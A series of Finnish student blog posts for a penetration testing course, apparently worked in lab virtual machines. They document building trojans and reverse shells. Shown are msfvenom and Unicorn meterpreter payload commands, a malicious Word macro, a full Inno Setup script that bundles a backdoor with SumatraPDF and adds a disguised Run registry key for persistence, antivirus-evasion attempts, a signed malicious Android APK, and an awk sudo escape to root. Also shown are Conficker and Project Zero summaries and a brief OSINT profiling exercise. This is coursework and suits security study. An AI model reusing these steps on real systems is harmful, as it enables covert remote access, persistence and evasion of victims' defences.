Tunkeutumistestaus – h7

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

h7

a) Tee troijalainen Unicornilla ohjeen mukaan.

Viime kerralla tuntui, että kaikilla oli suuria ongelmia Defenderin ohittamisessa, mutta Tatu Erkinjuntti sai tiedostonsa läpi Unicornia käyttämällä. Koitetaan toistaa Tatun askeleet:

http://www.erkinjuntti.eu/studies/penetration-testing-course/exercise-6/

Tatu on käyttänyt omassa testissään VLCtä, mutta valitsen itse vaikka Notepad++ asennettavaksi ohjelmaksi.

Ladataan Unicorn GitHubista:

$ git clone https://github.com/trustedsec/unicorn.git

ja tehdään haitallinen tiedosto:

$ ./unicorn.py windows/meterpreter/reverse_https 192.168.10.46 443

Jossa ip-osoite on se, mihin meterpreter shell avataan ja 443 portti.

Siirsin luodun .txt tiedoston emuloidulle Windows 10 koneelle, eikä Defender ainakaan tässä vaiheessa huomannut tiedostossa mitään epäilyttävää.

Katsotaan toimiiko hyökkäys ennen asennustiedoston pakkaamista, avataan portti kuuntelua varten:

$ msfconsole -r /home/user/Documents/unicorn.rc

Ja tämän jälkeen ajetaan .bat tiedosto windowsin puolella, mutta mitään ei tapahdukaan. Yritin avata portit mutta silti mitään ei tapahdu. Yllätyksekseni huomasin, että Defender onkin saanut tiedostosta kiinni. Eli Unicorn ei siis toimi.

Sallin .batin Defenderistä, jolloin Meterpreter yhteys aukeaa hetkeksi, mutta Defender huomaa senkin, ja sulkee yhteyden hetken kuluttua.

Unicornilla ei siis saa tiedostoja läpi Defenderistä, ainakaan joka kerta. Vaikka tiedoston saisi ajettua Defenderin huomaamatta, huomaa se kuitenkin heuristiikan kautta, että kyseessä on Meterpreter.

 

b) Asenna oma, itsellesi uusi harjoitusmaali. Voit hakea maalikoneen Vulnhubista. Murtaudu koneelle, katso walktroughsta vinkki, jos jäät jumiin.

Valitsin Vulnhubista helpon koneen, Toppon:

https://www.vulnhub.com/entry/toppo-1,245/

Nmapin kautta löytyy seuraavat portit:

22/tcp ssh

80/tcp http

111/tcp rpcbind

42789/tcp luultavasti myös rpc?

Niktolla löytyi kiinnostavat hakemistot /contact ja /admin. Admin sisältää notes.txt tiedoston, jonka sisältä löytyy salasana 12345ted123.

Käyttäjiä voisi käsittääkseni yrittää selvittää rpc:n kautta, mutten saanut rpcinfon kautta ulos oikeastaan mitään.

Rpcinfo vaati toimiakseen seuraavat paketit: rpcbind ja nfs-common.

 

Nettisivuilta ei myöskään löydy mitään vinkkejä käyttäjänimistä, root ja admin eivät päästä sisään salasanalla. Vilkuillaan varovasti pari askelta eteenpäin:

https://medium.com/@D00MFist/vulnhub-toppo-d5572d3b3e47

Oppaasta selviää, että Ted on käypä käyttäjänimi, joka olisi pitänyt tajuta salasanasta.

Selvitetään käyttöjärjestelmä:

$ cat /etc/os-release

 

Selviää, että laitteessa on Debian 8.0 vuodelta 2015. Siispä haetaan privilege escalationia vanhan Debianin kautta:

https://www.exploit-db.com/exploits/44302/

Käänsin koodin komennolla:

$ gcc -o exploit 44302.c -lpthread

Jonka jälkeen siirsin exploitin kotikansion public_html kansioon, asetin apachen ja kotikansiot käyttöön Kalikoneelle, josta Tedinä latasin tiedoston wgetillä.

Tiedoston ajo komennolla

$ ./exploit

ei kuitenkaan toimi, ilmeisesti järjestelmän väärän bittisyyden vuoksi.

$ cat /etc/passwd 

komennolla näemme käyttäjät, voimme varmistua siitä, että koneella ei ole muuta jännää käyttäjää kuin root.

$ cat /etc/sudoers

komennolla näemme, ketkä saavat käyttää sudoa tai muita komentoja. Tämä herätti kiinnostuksen, koska Debian väittää, ettei se tunnista sudoa komennoksi jos sitä yritetään ajaa.

Tedillä on oikeus ajaa awk komentoa, joten selvitellään, että mikä se edes on:

https://en.wikipedia.org/wiki/AWK

AWK on siis käsittääkseni ohjelmointikieli, jota käytetään tekstinkäsittelyyn.

Etsitään josko AWKin kautta saisi laajennettua oikeuksia:

https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html

Sivulta löytyvän ohjeen mukaan rimpsu

$ awk ’BEGIN {system(“/bin/bash”)}’

pitäisi avata shelli, minkä se oikeastaan tekeekin, mutta edelleen Tedin oikeuksilla:

Pienen kaivelun jälkeen löytyi vähän parempi postaus:

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

Sivulla on rimpsusta hiukan eri versio:

$ awk ‘BEGIN {system(“/bin/sh”)}’

jolla saa rootin onnistuneesti. En osaa sanoa, miksi bashilla ja sh:lla on tässä tilanteessa jokin ero, mutta ilmeisesti on.

 

c) Google Project Zero. Löydätkö tekniikoita, joita voi hyödyntää pentestissä?

 

Project Zeron haavoittuvuudet menevät aika kovaa oman osaamistason yli siinä määrin, että en edes täysin ymmärrä kaikkea mitä luen, mutta valkataan muutama mitkä vaikuttaisi kiinnostavilta.

 

https://googleprojectzero.blogspot.com/2017/02/attacking-windows-nvidia-driver.html

Nvidian ajureiden haavoittuvuudet ovat siinä mielessä melko läheisiä, että Nvidialla tuntuu tällä hetkellä olevan lähes kiistatta vahvin asema näytönohjainmarkkinoilla ainakin kuluttajapuolella. Artikkelissa puhutaan siitä, että ajurit on huolimattomasti kirjoitettu eikä virheisiin ole kiinnitetty huomiota ennen Nvidialle on suoraan näytetty, mikä mättää.

Hyökkääjän näkökulmasta kiinnostavaa on, että artikkelin kautta löytyy yksi Proof of Concepti minkä kautta on mahdollista eskaloida oikeuksia. Tässä vaiheessa luultavasti korostuu tietojenkeruun tärkeys, jos kohteella tiedetään olevan jokin tietty näytönohjain tai mikä tahansa muu laite, on kyseisen laitteen ajurit hyvä tarkastaa. Etenkin jos laitteessa on haavoittuvuus ja hardware tasolla.

 

https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html

Toinen artikkeli kertoo Meltdownista ja Spectrestä, joiden kautta voidaan siis päästä käsiin muistiin, mihin ei pitäisi päästä, prosessorien tehtäväennakointien takia. Ei siitä sen enempää, aikaisemmassa tehtäväpalautuksessa on enemmän.

 

 

https://googleprojectzero.blogspot.com/2015/08/one-font-vulnerability-to-rule-them-all_21.html

Kolmas artikkeli kertoo Windows 8.1 haavoittuvuudesta, jolla päästään ulos ilmeisesti Adobe Readerin luomasta ”hiekkalaatikosta” eli eristetystä prosessista. Artikkeli on tosin aika vaativa, enkä ymmärrä ihan kaikkea, mutta lopputulos on ainakin se, että yhden .pdf tiedoston avaaminen mahdollistaa jonkin ohjelman avaamisen korotetuilla oikeuksilla. Tässä tapauksessa ohjelmana on käytetty laskinta, mutta teoriassa mikä tahansa on mahdollista.

Posted in Uncategorised | Leave a comment

Tunkeutumistestaus – h6

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen harjoituksen enimmäkseen virtuaalikoneella, johon on asennettu Kali 2018-2.

h6

  1. Hae Google Scholarlista tuore (alle 1-2 v) artikkeli, joka liittyy kurssin aiheeseen.

Löysin itseäni kiinnostavan artikkelin vuodelta 2017: The Evolution of Android Malware and Android Analysis Techniques

https://pure.royalholloway.ac.uk/portal/files/28069262/computingsurvey.pdf

 

Artikkeli käsittelee Android-puhelimien tietoturvaa, kuinka haittaohjelmat kehittyvät jatkuvasti ja samoin myös analysointi kehittyy jatkuvasti.

Itseäni kiinnostaa mobiililaitteiden tietoturva melko paljon. Pidän puhelinta hyvänä hyökkäsvektorina, koska se kulkee joka paikassa ja usein yhdistetään vahingossakin yrityksen verkkoon joko piuhalla tietokoneen kautta, tai langattomasti. Muistan joskus katsoneeni jonkin DEF CON esityksen, jossa puhuttiin siitä miten tietyt verkkokortit puhelimissa olivat haavoittuvia, vaikka ei edes yritetä yhdistää mihinkään. Pelkästään se, että puhelin hakee verkkoja avoimesti riittää iskemiseen.

Samoin bussissa tai lentokentillä näkyvät USB-paikat latausta varten saattavat hyvinkin olla aivan muuta, kuin latausportti.

Eli siis jos pelkästään hyökkääjän lähellä olo asettaa yrityksen tietoturvan uhanalaiseksi, onhan se selvää, että puhelin on hyvä kohde. Tähän voi lisätä Androidien melko köyhän tietoturvan. Vastapainoksi tälle käsittääkseni iPhoneissa ei ole vieläkään tapahtunut yhtäkään suurta haittaohjelman leviämistapausta, joten tämä tapa on ehkä realistisempi jos tiedetään, että kohde on Android.

Scholarista löytyy paljon artikkeleita Androidin tietoturvasta ja haittaohjelmien analysoinnista. Sain tekstejä selaamalla kuvan, että Android haittaohjelmien analysointi on aika alkuvaiheessa, eikä varmoja menetelmiä ole tai ne eivät ole vielä yleisesti käytössä.

Käytännössä en usko että tästä on minulle ainakaan tässä hetkessä hyötyä, mutta yleisesti luulen, että painotan puhelimen kautta hyökkäämistä enemmän. Jos puhelin tulee saastuneena työverkon alueelle, mihin se kirjautuu automaattisesti käyttäjän aiemmin antamilla tunnuksilla, voidaan näistä tunnuksista ottaa varmasti koppi kirjautumisvaiheessa laitteen sisältä, mitä kautta saadaan todennäköisesti yhdet käyttäjätunnukset. Puhumattakaan siitä, että laitteesta voidaan lukea kaikki viestit, tiedostot ja ehkä sähköpostitkin. Siinä tulee tavallaan ylitettyä ”airgap” ja päästyä jonkin käyttäjään käsiksi yhdellä kerralla.

 

  1. Tee Google Scholar -haku kiinnostavasta aiheesta, jota haluat seurata. Mitä 5 tuoreinta tai viitatuinta artikkelia kertovat?

Tein haun ”malware command and control”, millä siis haen tietoa haittaohjelmien hallintaverkoista.

Ensimmäisiin hakuihin sisältyy monta artikkelia, mitkä käsittelevät hallintaverkkojen paljastamista mittaamalla verkkoliikennettä. Lisäksi palveluntarjoajien vastuusta hallintaverkkojen estämisessä. Lisäsin aiheen alertteihin.

  1. Paketoi troijan hevonen itse. Voit tehdä asennuksen esimerkiksi inno setup -ohjelmalla. Voit kokeilla myös pakata samaan asennukseen vihamielisen ohjelman sekä normaalin ohjelman – näin et joudu muokkaamaan normaalin ohjelman binääriä. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Älä tee itsestään leviäviä ohjelmia.

Olin valitettavasti sairaana sillä tunnilla, kun tätä käytiin yhteisesti läpi, joten haen vähän vinkkejä Eetun tekstistä:

https://eetupsite.wordpress.com/2018/09/27/tunkeutumistestaus-h6/

Käytän troijalaisen pakkaamiseen inno setupia, jota pyöritän Windows 10 virtuaalikoneessa:

http://jrsoftware.org/isdl.php

Haittaohjelman pakkaus ja etähallinta suoritetaan Kali 2018.2 virtuaalikoneelta.

Tavoitteena on avata meterpreter session Office macrojen kautta.

Tehdään Metasploitilla .docm tiedosto, joka avaa meterpreter yhteyden

$ msfconsole

> use exploit/multi/fileformat/office_word_macro

> set payload windows/meterpreter/reverse_tcp

> set LHOST kalin ip

> set LPORT 9001

> set FILENAME SUPERVIRUSMALWARE.docm

> exploit

Lopputuloksena pitäisi olla .docm tiedosto, mikä ottaa yhteyttä Kalikoneeseen. Metasploit heittää tiedoston sijaintiin /home/user/.msf4/local.

Windows 10 koneesta piti ottaa Defender pois käytöstä, jotta sain siirrettyä .docm tiedoston sinne, jonka nimesin hämäykseksi .odt tiedostoksi.

Asennan tähän väliin Open Officen Eetun ohjeiden mukaan:

https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.5/binaries/en-US/Apache_OpenOffice_4.1.5_Win_x86_install_en-US.exe/download

Nyt meillä on siis kasassa hyökkäysmacro, Open Office ja Ccleaner setup johon upotamme tuon macrotiedoston. Ccleaner on hyvä vaihtoehto, koska se on luonnostaan jo valmiiksi malwarea, niin tulee tehtyä kaksi hyökkäystä kerralla.

Käynnistetään innosetup ja lähdetään tekemään asennustiedostoa:

Create a new script file using the Script Wizard > OK

Next

Application nameksi laitoin CCLEANER_MALWARE_MACRO, lisäksi pyyhin turhat pois:

Next

Seuraavassa ruudussa valitaan asennustiedosto ja sen kylkiäiseksi laitettava haitallinen tiedosto:

Next

Ei mitään license tiedostoja, Next

Next

Seuraavaksi määritellään sitä, mihin lopputulos laitetaan. Itse valitsin Työpöydän ja nimeksi CCLEANER_MALWARE_MACRO

Seuraavassa ruudussa otetaan raksi pois ”Yes, use #define compiler directives” ruudusta ja Next

 

Lopuksi vielä Finish, jonka jälkeen Inno Setup kysyy halutaanko skripti kääntää heti, vastataan Yes, skriptin tallentamiseen vastataan No.

Ennen asennusta, kuunnellaan porttia kalikoneella:

$ msfconsole

> use exploit multi/handler

> set payload windows/meterpreter/reverse_tcp

> set LPORT 9001

> exploit

Sitten asennetaan CCleaner. Asennus sujuu muuten normaalisti, mutta asennuksen jälkeen Cleaner koittaa käynnistyä itse, eikä se ilmeisesti onnistu.

Tiedosto löytyy kuitenkin CCleanerin asennustiedostoista, mutta jostain syystä Open Office ei saa avattua tiedostoa, edes sen ehdottaman korjaamisen jälkeen. Tein tiedoston uudelleen ja upotin sen uudestaan Cleanerin kylkiäiseksi, minkä jälkeen tätä virheviestiä ei tullut, mutta ei tullut mitään muutakaan. Macro ei ilmeisesti aktivoidu, koska Open Officesta pitäisi tulla ilmoitus niistä. Yritetään sen avaamista LibreOfficessa. LibreOfficen kautta pääsen aktivoimaan Macrot, mutta jostain syystä sessio ei aukea. Tarkistin, että Kalille on avattu oikea portti, mutta sekään ei auta. En keksi mikä tässä mättää, palaan tehtävään jos muiden palautuksista löytyy vinkkejä.

 

Jatkan tehtävää Roope Varttilan kanssa pari tuntia myöhemmin, hän oli tunnilla ja opastaa samalla.

https://github.com/Veil-Framework/Veil-Evasion

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md


http://www.jrsoftware.org/iskb.php?startwithwindows

http://www.jrsoftware.org/ishelp/index.php?topic=registrysection

http://www.jrsoftware.org/iskb.php?startwithwindows

http://www.jrsoftware.org/ishelp/index.php?topic=runsection

Harjoituksia varten latasimme Win7 ja Win10 virtuaalikoneet Microsoftilta:

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ Win7

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ MSEdge on Win10

Tehtiin payload msfvenomilla:

$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.10.52 LPORT=9001 -e x86/shikata_ga_nai -o windows_not_a_backdoor.exe

Tämä payload yhdistettiin SumatraPDF ohjelmaan Inno Setupilla:

https://www.sumatrapdfreader.org/free-pdf-reader.html

Ideana oli istuttaa Sumatran lisäksi windows_not_a_backdoor.exe ja asettaa se rekisterin kautta käynnistymään itsestään seuraavan tietokoneen käynnistymisen yhdessä, tässä Inno Setup skripti:

; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName “PDF ja bonus”
#define MyAppVersion “6.9”
#define MyAppPublisher “Robs and Miikkb studios ltd.”
#define MyAppURL “niceme.me”
#define MyAppExeName “SumatraPDF.exe”

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{B8F87554-F79E-47E3-9D9F-56C6C7A1E520}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
;AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\PDF
DisableDirPage=yes
DisableProgramGroupPage=yes
InfoBeforeFile=C:\Users\IEUser\Downloads\info.txt
InfoAfterFile=C:\Users\IEUser\Downloads\after.txt
OutputBaseFilename=finaaliversio
Compression=lzma
SolidCompression=yes
PrivilegesRequired=admin

[Languages]
Name: “english”; MessagesFile: “compiler:Default.isl”
[Tasks]
Name: “desktopicon”; Description: “{cm:CreateDesktopIcon}”; GroupDescription: “{cm:AdditionalIcons}”; Flags: unchecked

[Files]
Source: “C:\Users\IEUser\Downloads\SumatraPDF.exe”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\DroidSansFallback.ttf”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\libmupdf.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\PdfFilter.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\PdfPreview.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\uninstall.exe”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\windows_takaovi.exe”; DestDir: “{app}”; Flags: ignoreversion
; NOTE: Don’t use “Flags: ignoreversion” on any shared system files

[Icons]
Name: “{commonprograms}{#MyAppName}”; Filename: “{app}{#MyAppExeName}”
Name: “{commondesktop}{#MyAppName}”; Filename: “{app}{#MyAppExeName}”; Tasks: desktopicon

[Registry]
Root: HKCU; Subkey: “Software\Microsoft\Windows\CurrentVersion\Run”; ValueType: string; ValueName: “thisisnotanythingbad”; ValueData: “{app}\windows_takaovi.exe”;

[Run]
Filename: “{app}{#MyAppExeName}”; Description: “{cm:LaunchProgram,{#StringChange(MyAppName, ‘&’, ‘&&’)}}”; Flags: nowait postinstall skipifsilent
^

 

Windows 7 koneella tekemämme asennustiedosto istutti rekisteriavaimen oikein, mutta ei kuitenkaan koskaan käynnistänyt ohjelmaa automaattisesti jostain syystä. Jos ohjelman käynnisti manuaalisesti se toimi heti. Yritimme istuttaa automaattista käynnistymistä myös pikakuvakkeen kautta Startup kansiossa.

Windows 10 koneella Defender huomaa hetken kuluttua, että ohjelma on haittaohjelma, ja poistaa sen.

Teimme siis onnistuneesti troijalaisen, mutta emme saaneet persistenssiä toimimaan, emmekä saaneet sitä läpi Windows 10 Defenderistä.

Yritimme salata asennustiedostoa myös Veil-evasionin kautta, mutta tiedoston asentaminen ei onnistunut ikinä allekirjoitusongelman vuoksi. Alla kuvia prosessista:

  1. Mistä ja millä tekniikoilla voit hakea ihmisistä tietoa avoimista lähteistä? Voit myös kokeilla sovelluksia, esim. maltego (suljettu) tai recon-ng (vapaa); sekä weppisivuja (esim. inteltechniques.com) ja oppaita (esim email). Voit hyödyntää myös offline-lähteitä. (Tämä kohta käsittelee tekniikoita, työkaluja ja weppisivuja – älä laita tähän parisi tietoja)

Kävin läpi 5. tehtävän aikana useita mahdollisia palveluita. Inteltechniques.com muun muassa antaa hyviä yleisiä ohjeita ja resursseja ihmisten löytämiseen, ei kuitenkaan välttämättä juuri suomalaisen henkilön hakemiseen. Huomasin, että sähköposteja voi ainakin tarkistella sivulla https://tools.verifyemailaddress.io/, mutta palvelu tuntuu antavan tuloksia melko vaihtelevasti, en tiedä miten se oikeasti tarkistaa mitään.

Ylipäätänsä tiedonkeruu tuntuu olevan paljon asioiden yhdistämistä ja joissakin tilanteissa puhdasta arvailua. On tavallaan pakko yrittää eri asioiden yhteyksiä, ihan vain koska vaikka niillä ei välttämättä ole yhteyttä, voi silti paljastua jotain uutta.

Itse tein omaa keruuta paljon eri hakukoneiden kautta yrittämällä useiden hakusanojen yhdistämistä.

 

  1. Hae paristasi tietoa avoimista lähteistä. Pyri laatimaan kattava profiili henkilöstä: historia, kiinnostuksen kohteen, poliittiset mielipiteet, lähipiiri, taloudellinen tilanne, asuinpaikka

Done.

Kokonaisuutena troijalaisen pakkaaminen koitui yllättävän hankalaksi tehtäväksi. Vaikeutta lisää tietysti hieman se, että olin sairaana lähiopetuskerran kun näitä opetettiin. Windowsin Defender on nyt jo toista kertaa osoittautunut yllättävän kovaksi vastustajaksi. Sen sijaan Inno Setup tuntui melko helpolta skriptien luonnin takia, muokkaaminen oli loogista.

Aikaa kului paljon erilaisten työkalujen kokeiluun, suurimmaksi osaksi ilman tuloksia. Taisimme tehdä lopulta  10 eri versiota tuosta backdoor ohjelmasta, joista yksikään ei päässyt Defenderistä läpi.

Posted in Uncategorised | Leave a comment

Tunkeutumistestaus – h5

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen harjoituksen enimmäkseen virtuaalikoneella, johon on asennettu Kali 2018-2.

h5

  1. Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelimen apsin.

Tehdään siis kaksi troijan hevosta. Aloitetaan ensiksi Androidille asennettavasta ohjelmasta.

https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/

https://hackingvision.com/2017/02/18/hack-android-phone-metasploit/

Alunperin ajattelin tehdä tämän osion oikealla puhelimella, mutta kaikki vanhat laitteeni ovat vuosien saatossa luopuneet elämästä täysin, joten mennään Android emulaattorilla.

Tehdään asennustiedosto msfvenomilla ja payloadina käytetään meterpreteriä:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=9001 R> MALWARE-METERPRETER-ANDROID.apk

Komento olettaa, että ollaan valmiiksi käyttäjän kotihakemistossa. Ohjeen mukaan Android asennustiedostot pitää vielä allekirjoittaa, jotenka edetään ohjeen mukaan:

Tehdään allekirjoittamista varten avain:

$ keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

-v tarkoittaa verbosea

-keystore tarkoittaa, että käytetään äsken tehtyä avainvarastoa

-alias on ilmeisesti allekirjoitettavan sovelluksen aliasnimi, pitää täsmätä myöhemmässä kohdassa olevan aliaksen kanssa

-keyalg on määrittelee algoritmin

-keysize sen koon

-validity määrittelee ajan, kuinka kauan allekirjoitus on voimassa

Generointi kysyy tämän jälkeen nimeä ja organisaation nimeä. En ole varma ovatko nämä tärkeitä, mutta laitoin ohjeen mukaan itselleni kuvitteellisen nimen, organisaatioksi Google ja kaupungiksi Helsinki. Lisäksi country code on EU.

Kun avain on tehty, allekirjoitetaan sovellus:

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore MALWARE-METERPRETER-ANDROID.apk alias_name

Jonka jälkeen:

$ jarsigner --verify -verbose -certs MALWARE-METERPRETER-ANDROID.apk

Komennon ajaminen heittää muutamia virheitä sertifikaattien ketjuista ilmeisesti, mutta katsotaan josko se toimisi silti laitteella.

Laitetaan seuraavaksi pystyyn emuloitu Android.

https://code.google.com/archive/p/android-x86/downloads

https://www.howtogeek.com/164570/how-to-install-android-in-virtualbox/

Linkistä löytyy Android 4.3 .iso tiedosto. Lisätessä kone VirtualBoxiin, asetuksiksi täytyy laittaa seuraavat:

Muistin määrän on oltava enintään 2048 MB, koska käytämme 32-bittistä Androidia. Muut asetukset menevät vakioina, kovalevyksi VDI ja alkukooksi laitoin 8 GB.

Kun kone käynnistyy, osoita sille Androidin .iso tiedosto. Kun asennusvalikko aukeaa, otetaan Install.

Tämän jälkeen Create/Modify partitions.

Luodaan uusi partition valitsemalla New, primary ja kovalevyn koko, tässä noin 8,500 MB, ja merkataan se boottaavaksi, Bootable. Lopuksi Write ja Yes. Kun tämä on valmis, otetaan Exit ja valikosta sda1 Linux VBOX HARDDISK. Ohje neuvoo ottamaan levyn tiedostosysteemiksi ext4, mutta meillä on ilmeisesti liian vanha Android siihen, joten otetaan ext3. Kone kysyy asennuksen päällekirjoittamisesta ja GRUBin asentamisesta, vastataan kyllä.

Lopuksi vielä Run Android-x86, ja viimeinkin meillä on emuloitu Android pystyssä.

 

Tiedoston saaminen emuloidulle Androidille koitui suureksi ongelmaksi. En saanut jaettuja kansioita millään toimimaan, luultavasti koska VirtualBoxin Guest Additioneja ei saanut Androidille asennettua. Yritin saada tiedostoa siirretty uploadaamalla sen omaan palvelimeen hetkeksi, mutta vanhan androidin selaimet eivät tainneet osata muodostaa https yhteyttä, joka tapauksessa sivuille ei vain päässyt. Sähköpostin kautta Android ei osannut tehdä .apk liitteelle yhtään mitään. Lisäksi selaimet tuppasivat kaatumaan jatkuvasti joten joudun valitettavasti toistaiseksi hylkäämään tämän idean. Yritän vielä uudempaa Androidia 7.1 täältä:

https://osdn.net/projects/android-x86/downloads/67834/android-x86-7.1-r2.iso/

En kuitenkaan saanut tätäkään toimimaan. Palaan tähän myöhemmin.

 

Pari tuntia myöhemmin löysin vielä yhden vanhan laitteen, jossa on Android 4.1.

Tällä pääsin käsiksi Dropboxiin, josta latasin tiedoston. Se asentui ongelmitta, kun asetuksista salli tuntemattomat lähteet. Jokin asetuksissa on pielessä, koska en saanut shelliä. Mahdollisesti VirtualBoxin portforwardauksessa jokin mättää, kun tabletin pitäisi yhdistää natattuun kaliin.

Laitoin Kalin ”Bridged Adapter” tilaan, jotta se näkyy sisäverkossa omana laitteena. Tämän jälkeen tein .apk paketin uudestaan siten, että asetin LHOST osoitteen Kalin paikalliseksi osoitteeksi. Yritin aloittaa kuuntelun metasploitin kautta näin:

> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp
> set LHOST paikallinen.ip
> set LPORT 9001
> exploit

Tämä avaa kuuntelusession. Mitään yhteyttä ei näy sovelluksen asennuksesta huolimatta.

Testinä avaan reitittimestä portin 9001 tälle Kalille ja Metasploit saikin heti Meterpreter sessiosta kiinni! Olemme siis sisällä. Roottia varten pitäisi tehdä jotain kikkoja.

 

Hypätään Windows koneen tartuttamiseen samalla tavalla.

https://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/

Edetään ohjeen mukaan, ja yritetään avata virtuaaliseen Windowsiin meterpreter sessio.

Latasin virtuaalikoneen täältä:

https://developer.microsoft.com/fi-fi/windows/downloads/virtual-machines

Valitsin Windows 10 Enterprisen VirtualBoxille.

Tehdään asennustiedosto samaan tapaan kuin aiemminkin:

$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.10.52 LPORT=9001 -o superhack32.exe

Katsotaan toimiiko, jos tämän suorittaa nyt. Siirrän tiedoston samaan tapaan Dropboxin kautta. Yllätyksekseni huomasin, että Dropbox skannaakin tiedostoja itse, koska tiedosto poistuu itsestään ilman ilmoituksia. Zipattuna saan kuitenkin ladattua sen. Tallennusvaiheessa Windows huomaa sen olevan virus, ja poistaa sen. Eli tiedosto pitää salata jotenkin. Shikata_ga_nai jää Defenderiin kiinni jopa 30 iteraation jälkeen, joten se ei selkeästi ole vaihtoehto. Kokeillaan Shellteriä.

https://www.helloitsliam.com/2018/04/25/webinar-series-update-evading-anti-virus/

Ohjelma ladataan .exe tiedostona, eli ohjelmaa varten pitää asentaa 32-bittinen wine:

$ dpkg --add-architecture i386
$ sudo apt-get update
$ sudo apt-get install wine32

Lopuksi oppaan mukaan haetaan tiedosto minkä sisään haittaohjelma laitetaan, Notepad++.

Shellter käynnistetään sen omasta kansiosta komennolla shellter.

Ohjelma kysyy Stealth modesta, otetaan Y ja valitaan haluttu payload, kun ohjelma sitä kysyy, meterpreter ja reverse_tcp.

> L
> 1

Tämäkään ei tosin valitettavasti pääse Defenderistä ohi. Luultavasti homma menisi siis käsin vääntämiseksi, eli tyydymme sammuttamaan Defenderin. Kokeillaan saastunutta Notepad++ tiedostoa uudelleen.

Nyt pääsemme varoituksista huolimatta ajamaan tiedoston. Asennustiedosto heittää ihan ihme virhettä, mutta metasploitissa vilahtaa meterpreter sessio, joka kuitenkin sulkeutuu heti kun virheviesti suljetaan.

Uudelleen yrittämisen jälkeen tulee sama virhe, mutta kun pidän virheviestiä auki, sessio pysyy auki, joten sisällä ollaan…

  1. Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ‘conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n.

Conficker käytti versiossa C yhteyksiinsä peer-to-peer yhteyksiä, joiden kautta se pystyi etänä ajamaan koodia missä vain saastuneessa koneessa.

Conficker.C yrittää myös tarkistaa, että sijaitseeko se virtuaalikoneen sisällä.

Conficker.C yrittää estää ohjelman poistamista lukitsemalla sen käyttämän DLL tiedoston, mikä estää skannauksen ja poistamisen. Samoin se poistaa rekisterin kautta Administratorin oikeudet tiedostoon. Myös Windowsin turvallisuuteen ja päivityksiin liittyvät palvelut kytketään pois päältä. Ohjelma jopa pyrkii estämään pääsyn  erilaisille virustorjuntaa tarjoaville nettisivuille, jotta käyttäjän on vaikeampi päästä käsiksi poistotyökaluihin. Tämän lisäksi Conficker tappaa prosesseja, jotka liittyy torjuntaohjelmistojen diagnostiikkaan tai poistotyökaluihin.

Tämän lisäksi vikasietotilaan käynnistyminen estetään.

Mato oli myös ensimmäisiä, jotka obfuskoi omaa toimintaansa. DLL tiedoston sisältö on kryptattuna, kunnes se lataa itsensä muistiin. Dekryptio on mukautuvaa koodia ja sisältää muutenkin paljon epäselviä viittauksia. Osa madon koodista on dekryptoinnin jälkeekin täynnä ”spagettia” ja vaikeasti luettavaa. Sisältö on salattu ilmeisesti sen takia, että on pyritty pitämään salassa peer-to-peer ominaisuuden implementointi.

Virtuaalikoneen testaus tehdään jotenkin Sleep APIn kautta, jos Conficker päättelee olevansa virtuaalisoidussa koneessa, se tekee lisää testejä, joissa yleisesti tiedetään, että virtualisoitu kone vastaa eri tavalla, ja lähettää tämän tiedon eteenpäin peer-to-peer verkon kautta.

Kun Conficker.C on aktiivisena koneella, se pyrkii paikkaamaan saman haavoittuvuuden, kuin minkä kautta se itse pääsi sisään.

Confickerin selkeästi ”suurimpana” ominaisuutena on peer-to-peer verkko. Käyttöönotto suoritetaan vasta, kun kaikki muut tarkistukset ja tartuttamiset on tehty. 5-35 minuutin jälkeen se pyrkii käynnistämään verkon luonnin. Tämän jälkeen mato odottaa taas 30-90 minuuttia, ennen kuin verkossa olevat koneet ottavat takaisin yhteyden, ”callhome procedure”. Verkkoa varten tehdään C:/Windows/Temp/ kansion alle uuden kansion, jota se käyttää jakaessaan tiedostoja.

